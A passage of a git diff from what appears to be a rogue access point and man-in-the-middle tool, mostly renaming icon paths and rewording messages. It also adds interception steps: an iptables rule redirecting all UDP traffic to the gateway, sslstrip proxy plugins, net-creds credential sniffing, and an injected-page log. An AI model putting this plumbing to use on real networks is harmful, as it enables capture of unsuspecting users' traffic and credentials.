{};\n'.format(self.DHCP['range']), '}', ], 'dnsmasq': @@ -832,18 +1084,18 @@ def CoreSettings(self): def StartApFake(self): if len(self.selectCard.currentText()) == 0: - return QMessageBox.warning(self,'Error interface','Network interface not supported :(') + return QMessageBox.warning(self,'Error interface ','Network interface is not found') if len(self.EditGateway.text()) == 0: - return QMessageBox.warning(self,'Error Gateway','gateway not found') + return QMessageBox.warning(self,'Error Gateway','gateway is not found') if not self.ConfigTwin['ProgCheck'][5]: - return QMessageBox.information(self,'Error Hostapd','hostapd not installed') + return QMessageBox.information(self,'Error Hostapd','hostapd is not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: - return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') + return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server is not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: - return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') + return QMessageBox.information(self,'Error dhcp','dnsmasq is not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') @@ -912,6 +1164,7 @@ def StartApFake(self): # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) + self.ProxyPluginsTAB.GroupSettings.setEnabled(False) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): @@ -920,12 +1173,21 @@ def StartApFake(self): self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') + if self.PopUpPlugins.check_sslstrip.isChecked() or not self.PopUpPlugins.check_dns2proy.isChecked(): + popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) + # load ProxyPLugins + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): - Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) - Thread_sslstrip.setObjectName("sslstrip") - self.Apthreads['RougeAP'].append(Thread_sslstrip) - Thread_sslstrip.start() + self.Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect'], + self.plugins,self.ProxyPluginsTAB._PluginsToLoader) + self.Thread_sslstrip.setObjectName("sslstrip") + self.Apthreads['RougeAP'].append(self.Thread_sslstrip) + self.Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', @@ -952,7 +1214,7 @@ def StartApFake(self): def create_sys_tray(self): self.sysTray = QSystemTrayIcon(self) - self.sysTray.setIcon(QIcon('rsc/icon.ico')) + self.sysTray.setIcon(QIcon('Icons/icon.ico')) self.sysTray.setVisible(True) self.connect(self.sysTray, SIGNAL('activated(QSystemTrayIcon::ActivationReason)'), diff --git a/Core/Utils.py b/Core/Utils.py index b86a6c8..9b804f9 100644 --- a/Core/Utils.py +++ b/Core/Utils.py @@ -154,7 +154,7 @@ def run(self): self.makeLogger() self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) for line in iter(self.process.stdout.readline, b''): - #self.log_hostapd.info(line.rstrip()) + self.log_hostapd.info(line.rstrip()) if self.objectName() == 'hostapd': if 'AP-STA-DISCONNECTED' in line.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in line.rstrip(): self.statusAP_connected.emit(line.split()[2]) @@ -199,25 +199,14 @@ def __init__(self,cmd,): def run(self): print 'Starting Thread:' + self.name - if self.name == 'Airbase-ng': - setup_logger('airbase', './Logs/AccessPoint/requestAP.log') - log_airbase = logging.getLogger('airbase') - self.logger = True - elif self.name == 'Dns2Proxy': + if self.name == 'Dns2Proxy': setup_logger('dns2proxy', './Logs/AccessPoint/dns2proxy.log') log_dns2proxy = logging.getLogger('dns2proxy') self.logger = True self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT) for line in iter(self.process.stdout.readline, b''): if self.logger: - if self.name == 'Airbase-ng': - if search('Created tap interface',line): - Popen(['ifconfig',line.split()[4], 'up']) - self.iface = line.split()[4] - log_airbase.info(line.rstrip()) - elif self.name == 'hostapd': - log_hostapd.info(line.rstrip()) - elif self.name == 'Dns2Proxy': + if self.name == 'Dns2Proxy': log_dns2proxy.info(line.rstrip()) self.prompt = False if self.prompt: @@ -553,6 +542,7 @@ def exportHtml(): 'credentials': {'Logs/AccessPoint/credentials.log':[]}, 'requestAP': {'Logs/AccessPoint/requestAP.log':[]}, 'dns2proxy': {'Logs/AccessPoint/dns2proxy.log':[]}, + 'injectionPage': {'Logs/AccessPoint/injectionPage.log':[]}, 'phishing': {'Logs/Phishing/Webclone.log':[]},} for i in readFile.keys(): for j in readFile[i]: diff --git a/Core/config/Settings.py b/Core/config/Settings.py index b30e808..1bd8275 100644 --- a/Core/config/Settings.py +++ b/Core/config/Settings.py @@ -48,7 +48,7 @@ def center(self): frameGm.moveCenter(centerPoint) self.move(frameGm.topLeft()) - def xmlSettings(self,id,data,bool,show): + def xmlSettings(self,id,data,bool,show=False): xmldoc = minidom.parse('Core/config/Settings.xml') country = xmldoc.getElementsByTagName(id) firstchild = country[0] @@ -186,7 +186,7 @@ def Qui(self): self.btn_save = QPushButton('Save') self.btn_save.clicked.connect(self.save_settings) self.btn_save.setFixedWidth(80) - self.btn_save.setIcon(QIcon('rsc/Save.png')) + self.btn_save.setIcon(QIcon('Icons/Save.png')) self.GruPag0=QButtonGroup() self.GruPag1=QButtonGroup() @@ -218,7 +218,6 @@ def Qui(self): self.interface = QLineEdit(self) self.Apname = QLineEdit(self) self.channel = QSpinBox(self) - self.rangeIP = QLineEdit(self) self.redirectport = QLineEdit(self) self.InterfaceNetCreds = QLineEdit(self) @@ -317,7 +316,6 @@ def Qui(self): self.interface.setText(self.xmlSettings('interface', 'monitor_mode', None, False)) self.Apname.setText(self.xmlSettings('AP', 'name', None, False)) self.channel.setValue(int(self.xmlSettings('channel', 'mchannel', None, False))) - self.rangeIP.setText(self.xmlSettings('Iprange', 'range', None, False)) self.redirectport.setText(self.xmlSettings('redirect', 'port', None, False)) self.InterfaceNetCreds.setText(self.xmlSettings('netcreds', 'interface', None, False)) #add tab Advanced @@ -327,7 +325,6 @@ def Qui(self): self.page_2.addRow('Interface Monitor:',self.interface) self.page_2.addRow('AP Name:',self.Apname) self.page_2.addRow('Channel:',self.channel) - self.page_2.addRow('DHCP Range:',self.rangeIP) self.page_2.addRow('Port sslstrip:',self.redirectport) self.page_2.addRow('NetCreds Interface:',self.InterfaceNetCreds) self.page_2.addRow(QLabel('mdk3 Args:'),self.txt_arguments) diff --git a/Core/config/Settings.xml b/Core/config/Settings.xml index 363787f..149a51f 100644 --- a/Core/config/Settings.xml +++ b/Core/config/Settings.xml @@ -10,12 +10,32 @@ + + + + + + + + + + + + + + + + + + + + + - diff --git a/Core/config/commits/Lcommits.cfg b/Core/config/commits/Lcommits.cfg index dca90db..4d51916 100644 --- a/Core/config/commits/Lcommits.cfg +++ b/Core/config/commits/Lcommits.cfg @@ -1,11 +1,8 @@ master: [ - { Version: '0.7.1'} - { changelog : 'added update commits from repository' }, - { changelog : 'added QTableWidget filter (mac,ip,hostname) clients connected on AP' }, - { changelog : 'added count of clients connected no AP' }, - { changelog : 'changed name Tool Wifi-Pumpkin' }, - { changelog : 'locked dnsmasq support temporarily' }, - { changelog : 'added new modules Phishing Manager' }, - { changelog : 'some improvements in modules' }, + { Version: '0.7.3'} + { changelog : 'added new Pump-Logo default' }, + { changelog : 'added PumpSettings TAB DHCP configure' }, + { changelog : 'fixed no share internet with plugins sslstrip disabled' }, + { changelog : 'added new Modular Transparent Proxy tranks @xtr4nge sslstrip::mod' }, ] diff --git a/Core/helpers/update.py b/Core/helpers/update.py index 02b0e17..7d419fe 100644 --- a/Core/helpers/update.py +++ b/Core/helpers/update.py @@ -54,8 +54,8 @@ def GUI(self): self.btnUpdate.setDisabled(True) # icons - self.btnCheck.setIcon(QIcon('rsc/Checklist_update.png')) - self.btnUpdate.setIcon(QIcon('rsc/updates_.png')) + self.btnCheck.setIcon(QIcon('Icons/Checklist_update.png')) + self.btnUpdate.setIcon(QIcon('Icons/updates_.png')) #connects self.btnCheck.clicked.connect(self.checkUpdate) self.btnUpdate.clicked.connect(self.startUpdate) @@ -113,7 +113,7 @@ def RcheckCommits(self,commits): if 'no changes into' in commits: item = QListWidgetItem() item.setText(commits) - item.setIcon(QIcon('rsc/checked_update.png')) + item.setIcon(QIcon('Icons/checked_update.png')) item.setSizeHint(QSize(20,20)) self.LCommits.addItem(item) return self.btnCheck.setEnabled(True) @@ -127,7 +127,7 @@ def RcheckCommits(self,commits): elif 'commit:' in commits: item = QListWidgetItem() item.setText(commits) - item.setIcon(QIcon('rsc/check_update.png')) + item.setIcon(QIcon('Icons/check_update.png')) item.setSizeHint(QSize(20,20)) self.LCommits.addItem(item) self.btnCheck.setEnabled(True) diff --git a/Core/loaders/Stealth/PackagesUI.py b/Core/loaders/Stealth/PackagesUI.py index f2b7814..5451327 100644 --- a/Core/loaders/Stealth/PackagesUI.py +++ b/Core/loaders/Stealth/PackagesUI.py @@ -9,7 +9,7 @@ class PumpkinModule(QWidget): ''' this is Qwidget Module base ''' def __init__(self,parent=None,*args): super(PumpkinModule, self).__init__(parent) - self.setWindowIcon(QIcon('rsc/icon.ico')) + self.setWindowIcon(QIcon('Icons/icon.ico')) self.module_network = Refactor self.configure = frm_Settings() self.Ftemplates = frm_PhishingManager() diff --git a/Core/themes/theme1.qss b/Core/themes/theme1.qss index 68d2a81..005a1c7 100644 --- a/Core/themes/theme1.qss +++ b/Core/themes/theme1.qss @@ -156,7 +156,7 @@ QComboBox::drop-down QComboBox::down-arrow { - image: url(rsc/down_arrow.png); + image: url(Icons/down_arrow.png); } QGroupBox:focus @@ -452,7 +452,7 @@ QRadioButton::indicator:hover, QCheckBox::indicator:hover QCheckBox::indicator:checked { - image:url(rsc/check.png); + image:url(Icons/check.png); } QCheckBox::indicator:disabled, QRadioButton::indicator:disabled diff --git a/Core/themes/theme2.qss b/Core/themes/theme2.qss index 75ae556..33392c7 100644 --- a/Core/themes/theme2.qss +++ b/Core/themes/theme2.qss @@ -194,7 +194,7 @@ QScrollBar::handle:horizontal QScrollBar::add-line:horizontal { margin: 0px 3px 0px 3px; - border-image: url(rsc/right_arrow_disabled.png); + border-image: url(Icons/right_arrow_disabled.png); width: 10px; height: 10px; subcontrol-position: right; @@ -204,7 +204,7 @@ QScrollBar::add-line:horizontal QScrollBar::sub-line:horizontal { margin: 0px 3px 0px 3px; - border-image: url(rsc/left_arrow_disabled.png); + border-image: url(Icons/left_arrow_disabled.png); height: 10px; width: 10px; subcontrol-position: left; @@ -213,7 +213,7 @@ QScrollBar::sub-line:horizontal QScrollBar::add-line:horizontal:hover,QScrollBar::add-line:horizontal:on { - border-image: url(rsc/right_arrow.png); + border-image: url(Icons/right_arrow.png); height: 10px; width: 10px; subcontrol-position: right; @@ -223,7 +223,7 @@ QScrollBar::add-line:horizontal:hover,QScrollBar::add-line:horizontal:on QScrollBar::sub-line:horizontal:hover, QScrollBar::sub-line:horizontal:on { - border-image: url(rsc/left_arrow.png); + border-image: url(Icons/left_arrow.png); height: 10px; width: 10px; subcontrol-position: left; @@ -260,7 +260,7 @@ QScrollBar::handle:vertical QScrollBar::sub-line:vertical { margin: 3px 0px 3px 0px; - border-image: url(rsc/up_arrow_disabled.png); + border-image: url(Icons/up_arrow_disabled.png); height: 10px; width: 10px; subcontrol-position: top; @@ -270,7 +270,7 @@ QScrollBar::sub-line:vertical QScrollBar::add-line:vertical { margin: 3px 0px 3px 0px; - border-image: url(rsc/down_arrow_disabled.png); + border-image: url(Icons/down_arrow_disabled.png); height: 10px; width: 10px; subcontrol-position: bottom; @@ -280,7 +280,7 @@ QScrollBar::add-line:vertical QScrollBar::sub-line:vertical:hover,QScrollBar::sub-line:vertical:on { - border-image: url(rsc/up_arrow.png); + border-image: url(Icons/up_arrow.png); height: 10px; width: 10px; subcontrol-position: top; @@ -290,7 +290,7 @@ QScrollBar::sub-line:vertical:hover,QScrollBar::sub-line:vertical:on QScrollBar::add-line:vertical:hover, QScrollBar::add-line:vertical:on { - border-image: url(rsc/down_arrow_theme2.png); + border-image: url(Icons/down_arrow_theme2.png); height: 10px; width: 10px; subcontrol-position: bottom; @@ -337,7 +337,7 @@ QCheckBox:disabled } QSizeGrip { - image: url(rsc/sizegrip.png); + image: url(Icons/sizegrip.png); width: 12px; height: 12px; } @@ -423,7 +423,7 @@ QRadioButton::indicator:hover, QCheckBox::indicator:hover QCheckBox::indicator:checked, QGroupBox::indicator:checked, QMenu::indicator:non-exclusive:checked { - image:url(rsc/checkbox.png); + image:url(Icons/checkbox.png); } QCheckBox::indicator:disabled, QRadioButton::indicator:disabled @@ -432,7 +432,7 @@ QCheckBox::indicator:disabled, QRadioButton::indicator:disabled } QCheckBox::indicator:indeterminate { - image: url(rsc/checkbox_indeterminate.png); + image: url(Icons/checkbox_indeterminate.png); } QFrame @@ -459,16 +459,16 @@ QToolBar { } QToolBar::handle:horizontal { - image: url(rsc/Hmovetoolbar.png); + image: url(Icons/Hmovetoolbar.png); } QToolBar::handle:vertical { - image: url(rsc/Vmovetoolbar.png); + image: url(Icons/Vmovetoolbar.png); } QToolBar::separator:horizontal { - image: url(rsc/Hsepartoolbar.png); + image: url(Icons/Hsepartoolbar.png); } QToolBar::separator:vertical { - image: url(rsc/Vsepartoolbars.png); + image: url(Icons/Vsepartoolbars.png); } QPushButton @@ -549,13 +549,13 @@ QComboBox::drop-down QComboBox::down-arrow { - image: url(rsc/down_arrow_disabled.png); + image: url(Icons/down_arrow_disabled.png); } QComboBox::down-arrow:on, QComboBox::down-arrow:hover, QComboBox::down-arrow:focus { - image: url(rsc/down_arrow_theme2.png); + image: url(Icons/down_arrow_theme2.png); } QPushButton:pressed @@ -588,25 +588,25 @@ QAbstractSpinBox:down-button } QAbstractSpinBox::up-arrow,QAbstractSpinBox::up-arrow:disabled,QAbstractSpinBox::up-arrow:off { - image: url(rsc/up_arrow_disabled.png); + image: url(Icons/up_arrow_disabled.png); width: 10px; height: 10px; } QAbstractSpinBox::up-arrow:hover { - image: url(rsc/up_arrow.png); + image: url(Icons/up_arrow.png); } QAbstractSpinBox::down-arrow,QAbstractSpinBox::down-arrow:disabled,QAbstractSpinBox::down-arrow:off { - image: url(rsc/down_arrow_disabled.png); + image: url(Icons/down_arrow_disabled.png); width: 10px; height: 10px; } QAbstractSpinBox::down-arrow:hover { - image: url(rsc/down_arrow_theme2.png); + image: url(Icons/down_arrow_theme2.png); } @@ -637,18 +637,18 @@ QTabBar:focus } QTabBar::close-button { - image: url(rsc/close.png); + image: url(Icons/close.png); background: transparent; } QTabBar::close-button:hover { - image: url(rsc/close-hover.png); + image: url(Icons/close-hover.png); background: transparent; } QTabBar::close-button:pressed { - image: url(rsc/close-pressed.png); + image: url(Icons/close-pressed.png); background: transparent; } @@ -754,26 +754,26 @@ QTabBar::tab:right:!selected:hover { } QTabBar QToolButton::right-arrow:enabled { - image: url(rsc/right_arrow.png); + image: url(Icons/right_arrow.png); } QTabBar QToolButton::left-arrow:enabled { - image: url(rsc/left_arrow.png); + image: url(Icons/left_arrow.png); } QTabBar QToolButton::right-arrow:disabled { - image: url(rsc/right_arrow_disabled.png); + image: url(Icons/right_arrow_disabled.png); } QTabBar QToolButton::left-arrow:disabled { - image: url(rsc/left_arrow_disabled.png); + image: url(Icons/left_arrow_disabled.png); } QDockWidget { border: 1px solid #403F3F; - titlebar-close-icon: url(rsc/close.png); - titlebar-normal-icon: url(rsc/undock.png); + titlebar-close-icon: url(Icons/close.png); + titlebar-normal-icon: url(Icons/undock.png); } QDockWidget::close-button, QDockWidget::float-button { @@ -799,39 +799,39 @@ QTreeView, QListView QTreeView:branch:selected, QTreeView:branch:hover { - background: url(rsc/transparent.png); + background: url(Icons/transparent.png); } QTreeView::branch:has-siblings:!adjoins-item { - border-image: url(rsc/transparent.png); + border-image: url(Icons/transparent.png); } QTreeView::branch:has-siblings:adjoins-item { - border-image: url(rsc/transparent.png); + border-image: url(Icons/transparent.png); } QTreeView::branch:!has-children:!has-siblings:adjoins-item { - border-image: url(rsc/transparent.png); + border-image: url(Icons/transparent.png); } QTreeView::branch:has-children:!has-siblings:closed, QTreeView::branch:closed:has-children:has-siblings { - image: url(rsc/branch_closed.png); + image: url(Icons/branch_closed.png); } QTreeView::branch:open:has-children:!has-siblings, QTreeView::branch:open:has-children:has-siblings { - image: url(rsc/branch_open.png); + image: url(Icons/branch_open.png); } QTreeView::branch:has-children:!has-siblings:closed:hover, QTreeView::branch:closed:has-children:has-siblings:hover { - image: url(rsc/branch_closed-on.png); + image: url(Icons/branch_closed-on.png); } QTreeView::branch:open:has-children:!has-siblings:hover, QTreeView::branch:open:has-children:has-siblings:hover { - image: url(rsc/branch_open-on.png); + image: url(Icons/branch_open-on.png); } QListView::item:!selected:hover, QListView::item:!selected:hover, QTreeView::item:!selected:hover { @@ -913,7 +913,7 @@ QToolButton:checked, QToolButton:pressed, QToolButton::menu-button:pressed { /* the subcontrol below is used only in the InstantPopup or DelayedPopup mode */ QToolButton::menu-indicator { - image: url(rsc/down_arrow_theme2.png); + image: url(Icons/down_arrow_theme2.png); top: -7px; left: -2px; /* shift it a bit */ } @@ -928,7 +928,7 @@ QToolButton::menu-button { } QToolButton::menu-arrow { - image: url(rsc/down_arrow_theme2.png); + image: url(Icons/down_arrow_theme2.png); } QToolButton::menu-arrow:open { @@ -1012,11 +1012,11 @@ QHeaderView::section:checked /* style the sort indicator */ QHeaderView::down-arrow { - image: url(rsc/down_arrow_theme2.png); + image: url(Icons/down_arrow_theme2.png); } QHeaderView::up-arrow { - image: url(rsc/up_arrow.png); + image: url(Icons/up_arrow.png); } diff --git a/rsc/Checklist_update.png b/Icons/Checklist_update.png similarity index 100% rename from rsc/Checklist_update.png rename to Icons/Checklist_update.png diff --git a/rsc/Hmovetoolbar.png b/Icons/Hmovetoolbar.png similarity index 100% rename from rsc/Hmovetoolbar.png rename to Icons/Hmovetoolbar.png diff --git a/rsc/Hsepartoolbar.png b/Icons/Hsepartoolbar.png similarity index 100% rename from rsc/Hsepartoolbar.png rename to Icons/Hsepartoolbar.png diff --git a/rsc/Save.png b/Icons/Save.png similarity index 100% rename from rsc/Save.png rename to Icons/Save.png diff --git a/rsc/Stop.png b/Icons/Stop.png similarity index 100% rename from rsc/Stop.png rename to Icons/Stop.png diff --git a/rsc/Vmovetoolbar.png b/Icons/Vmovetoolbar.png similarity index 100% rename from rsc/Vmovetoolbar.png rename to Icons/Vmovetoolbar.png diff --git a/rsc/Vsepartoolbar.png b/Icons/Vsepartoolbar.png similarity index 100% rename from rsc/Vsepartoolbar.png rename to Icons/Vsepartoolbar.png diff --git a/rsc/about.png b/Icons/about.png similarity index 100% rename from rsc/about.png rename to Icons/about.png diff --git a/Icons/accept.png b/Icons/accept.png new file mode 100644 index 0000000..8679594 Binary files /dev/null and b/Icons/accept.png differ diff --git a/rsc/adobe.png b/Icons/adobe.png similarity index 100% rename from rsc/adobe.png rename to Icons/adobe.png diff --git a/rsc/arp.png b/Icons/arp.png similarity index 100% rename from rsc/arp.png rename to Icons/arp.png diff --git a/rsc/arp_.png b/Icons/arp_.png similarity index 100% rename from rsc/arp_.png rename to Icons/arp_.png diff --git a/rsc/branch_closed-on.png b/Icons/branch_closed-on.png similarity index 100% rename from rsc/branch_closed-on.png rename to Icons/branch_closed-on.png diff --git a/rsc/branch_closed.png b/Icons/branch_closed.png similarity index 100% rename from rsc/branch_closed.png rename to Icons/branch_closed.png diff --git a/rsc/branch_open-on.png b/Icons/branch_open-on.png similarity index 100% rename from rsc/branch_open-on.png rename to Icons/branch_open-on.png diff --git a/rsc/branch_open.png b/Icons/branch_open.png similarity index 100% rename from rsc/branch_open.png rename to Icons/branch_open.png diff --git a/Icons/cancel.png b/Icons/cancel.png new file mode 100644 index 0000000..2181354 Binary files /dev/null and b/Icons/cancel.png differ diff --git a/rsc/capture.png b/Icons/capture.png similarity index 100% rename from rsc/capture.png rename to Icons/capture.png diff --git a/rsc/check.png b/Icons/check.png similarity index 100% rename from rsc/check.png rename to Icons/check.png diff --git a/rsc/check_update.png b/Icons/check_update.png similarity index 100% rename from rsc/check_update.png rename to Icons/check_update.png diff --git a/rsc/checkbox.png b/Icons/checkbox.png similarity index 100% rename from rsc/checkbox.png rename to Icons/checkbox.png diff --git a/rsc/checkbox_indeterminate.png b/Icons/checkbox_indeterminate.png similarity index 100% rename from rsc/checkbox_indeterminate.png rename to Icons/checkbox_indeterminate.png diff --git a/rsc/checked_update.png b/Icons/checked_update.png similarity index 100% rename from rsc/checked_update.png rename to Icons/checked_update.png diff --git a/rsc/close-hover.png b/Icons/close-hover.png similarity index 100% rename from rsc/close-hover.png rename to Icons/close-hover.png diff --git a/rsc/close-pressed.png b/Icons/close-pressed.png similarity index 100% rename from rsc/close-pressed.png rename to Icons/close-pressed.png diff --git a/rsc/close.png b/Icons/close.png similarity index 100% rename from rsc/close.png rename to Icons/close.png diff --git a/rsc/computer.png b/Icons/computer.png similarity index 100% rename from rsc/computer.png rename to Icons/computer.png diff --git a/rsc/database.png b/Icons/database.png similarity index 100% rename from rsc/database.png rename to Icons/database.png diff --git a/rsc/deauth.png b/Icons/deauth.png similarity index 100% rename from rsc/deauth.png rename to Icons/deauth.png diff --git a/rsc/delete.png b/Icons/delete.png similarity index 100% rename from rsc/delete.png rename to Icons/delete.png diff --git a/rsc/dhcp.png b/Icons/dhcp.png similarity index 100% rename from rsc/dhcp.png rename to Icons/dhcp.png diff --git a/rsc/dns.png b/Icons/dns.png similarity index 100% rename from rsc/dns.png rename to Icons/dns.png diff --git a/rsc/dns_spoof.png b/Icons/dns_spoof.png similarity index 100% rename from rsc/dns_spoof.png rename to Icons/dns_spoof.png diff --git a/rsc/down_arrow.png b/Icons/down_arrow.png similarity index 100% rename from rsc/down_arrow.png rename to Icons/down_arrow.png diff --git a/rsc/down_arrow_disabled.png b/Icons/down_arrow_disabled.png similarity index 100% rename from rsc/down_arrow_disabled.png rename to Icons/down_arrow_disabled.png diff --git a/rsc/down_arrow_theme2.png b/Icons/down_arrow_theme2.png similarity index 100% rename from rsc/down_arrow_theme2.png rename to Icons/down_arrow_theme2.png diff --git a/rsc/ettercap.png b/Icons/ettercap.png similarity index 100% rename from rsc/ettercap.png rename to Icons/ettercap.png diff --git a/rsc/export.png b/Icons/export.png similarity index 100% rename from rsc/export.png rename to Icons/export.png diff --git a/Icons/icon.ico b/Icons/icon.ico new file mode 100644 index 0000000..3fd2e2d Binary files /dev/null and b/Icons/icon.ico differ diff --git a/rsc/java.png b/Icons/java.png similarity index 100% rename from rsc/java.png rename to Icons/java.png diff --git a/rsc/left_arrow.png b/Icons/left_arrow.png similarity index 100% rename from rsc/left_arrow.png rename to Icons/left_arrow.png diff --git a/rsc/left_arrow_disabled.png b/Icons/left_arrow_disabled.png similarity index 100% rename from rsc/left_arrow_disabled.png rename to Icons/left_arrow_disabled.png diff --git a/rsc/loading2.gif b/Icons/loading2.gif similarity index 100% rename from rsc/loading2.gif rename to Icons/loading2.gif diff --git a/rsc/logger.png b/Icons/logger.png similarity index 100% rename from rsc/logger.png rename to Icons/logger.png diff --git a/Icons/logo.png b/Icons/logo.png new file mode 100644 index 0000000..f73e974 Binary files /dev/null and b/Icons/logo.png differ diff --git a/rsc/mac.png b/Icons/mac.png similarity index 100% rename from rsc/mac.png rename to Icons/mac.png diff --git a/rsc/network.png b/Icons/network.png similarity index 100% rename from rsc/network.png rename to Icons/network.png diff --git a/rsc/network_off.png b/Icons/network_off.png similarity index 100% rename from rsc/network_off.png rename to Icons/network_off.png diff --git a/rsc/online.png b/Icons/online.png similarity index 100% rename from rsc/online.png rename to Icons/online.png diff --git a/rsc/open.png b/Icons/open.png similarity index 100% rename from rsc/open.png rename to Icons/open.png diff --git a/rsc/page.png b/Icons/page.png similarity index 100% rename from rsc/page.png rename to Icons/page.png diff --git a/rsc/password.png b/Icons/password.png similarity index 100% rename from rsc/password.png rename to Icons/password.png diff --git a/rsc/phishing.png b/Icons/phishing.png similarity index 100% rename from rsc/phishing.png rename to Icons/phishing.png diff --git a/rsc/plugins.png b/Icons/plugins.png similarity index 100% rename from rsc/plugins.png rename to Icons/plugins.png diff --git a/rsc/probe.png b/Icons/probe.png similarity index 100% rename from rsc/probe.png rename to Icons/probe.png diff --git a/rsc/proxy.png b/Icons/proxy.png similarity index 100% rename from rsc/proxy.png rename to Icons/proxy.png diff --git a/rsc/refresh.png b/Icons/refresh.png similarity index 100% rename from rsc/refresh.png rename to Icons/refresh.png diff --git a/rsc/report.png b/Icons/report.png similarity index 100% rename from rsc/report.png rename to Icons/report.png diff --git a/rsc/right_arrow.png b/Icons/right_arrow.png similarity index 100% rename from rsc/right_arrow.png rename to Icons/right_arrow.png diff --git a/rsc/right_arrow_disabled.png b/Icons/right_arrow_disabled.png similarity index 100% rename from rsc/right_arrow_disabled.png rename to Icons/right_arrow_disabled.png diff --git a/rsc/scan.png b/Icons/scan.png similarity index 100% rename from rsc/scan.png rename to Icons/scan.png diff --git a/Icons/search.png b/Icons/search.png new file mode 100644 index 0000000..4b0d006 Binary files /dev/null and b/Icons/search.png differ diff --git a/rsc/server.png b/Icons/server.png similarity index 100% rename from rsc/server.png rename to Icons/server.png diff --git a/rsc/setting.png b/Icons/setting.png similarity index 100% rename from rsc/setting.png rename to Icons/setting.png diff --git a/rsc/settings.png b/Icons/settings.png similarity index 100% rename from rsc/settings.png rename to Icons/settings.png diff --git a/rsc/sizegrip.png b/Icons/sizegrip.png similarity index 100% rename from rsc/sizegrip.png rename to Icons/sizegrip.png diff --git a/rsc/ssl.png b/Icons/ssl.png similarity index 100% rename from rsc/ssl.png rename to Icons/ssl.png diff --git a/rsc/start.png b/Icons/start.png similarity index 100% rename from rsc/start.png rename to Icons/start.png diff --git a/rsc/stylesheet-branch-end.png b/Icons/stylesheet-branch-end.png similarity index 100% rename from rsc/stylesheet-branch-end.png rename to Icons/stylesheet-branch-end.png diff --git a/rsc/stylesheet-branch-more.png b/Icons/stylesheet-branch-more.png similarity index 100% rename from rsc/stylesheet-branch-more.png rename to Icons/stylesheet-branch-more.png diff --git a/rsc/stylesheet-vline.png b/Icons/stylesheet-vline.png similarity index 100% rename from rsc/stylesheet-vline.png rename to Icons/stylesheet-vline.png diff --git a/rsc/transparent.png b/Icons/transparent.png similarity index 100% rename from rsc/transparent.png rename to Icons/transparent.png diff --git a/rsc/undock.png b/Icons/undock.png similarity index 100% rename from rsc/undock.png rename to Icons/undock.png diff --git a/rsc/up_arrow.png b/Icons/up_arrow.png similarity index 100% rename from rsc/up_arrow.png rename to Icons/up_arrow.png diff --git a/rsc/up_arrow_disabled.png b/Icons/up_arrow_disabled.png similarity index 100% rename from rsc/up_arrow_disabled.png rename to Icons/up_arrow_disabled.png diff --git a/rsc/update.png b/Icons/update.png similarity index 100% rename from rsc/update.png rename to Icons/update.png diff --git a/rsc/updates_.png b/Icons/updates_.png similarity index 100% rename from rsc/updates_.png rename to Icons/updates_.png diff --git a/rsc/wifi.png b/Icons/wifi.png similarity index 100% rename from rsc/wifi.png rename to Icons/wifi.png diff --git a/rsc/winUp.png b/Icons/winUp.png similarity index 100% rename from rsc/winUp.png rename to Icons/winUp.png diff --git a/Logs/AccessPoint/injectionPage.log b/Logs/AccessPoint/injectionPage.log new file mode 100644 index 0000000..e69de29 diff --git a/Modules/monitors/Credentials.py b/Modules/monitors/Credentials.py index 67244ef..da8c08c 100644 --- a/Modules/monitors/Credentials.py +++ b/Modules/monitors/Credentials.py @@ -40,8 +40,10 @@ def Qui(self): self.listDns.setAutoScroll(True) self.btn_getdata = QPushButton('Capture logs') + self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) - self.btn_exit = QPushButton('Exit') + self.btn_exit = QPushButton('Kill') + self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) self.frm0.addWidget(self.listDns) diff --git a/Modules/monitors/dns2proxy.py b/Modules/monitors/dns2proxy.py index 2b71731..993a501 100644 --- a/Modules/monitors/dns2proxy.py +++ b/Modules/monitors/dns2proxy.py @@ -41,8 +41,10 @@ def Qui(self): self.listDns.setAutoScroll(True) self.btn_getdata = QPushButton('Capture logs') + self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) - self.btn_exit = QPushButton('Exit') + self.btn_exit = QPushButton('Kill') + self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) self.frm0.addWidget(self.listDns) diff --git a/Modules/monitors/netcreds.py b/Modules/monitors/netcreds.py index e7f9fc0..deaf3f8 100644 --- a/Modules/monitors/netcreds.py +++ b/Modules/monitors/netcreds.py @@ -50,8 +50,10 @@ def Qui(self): self.list_creds.setAutoScroll(True) self.btn_getdata = QPushButton('Capture logs') + self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) - self.btn_exit = QPushButton('Exit') + self.btn_exit = QPushButton('Kill') + self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) self.frm0.addRow(self.listDns) diff --git a/Modules/poisoners/ArpPosion.py 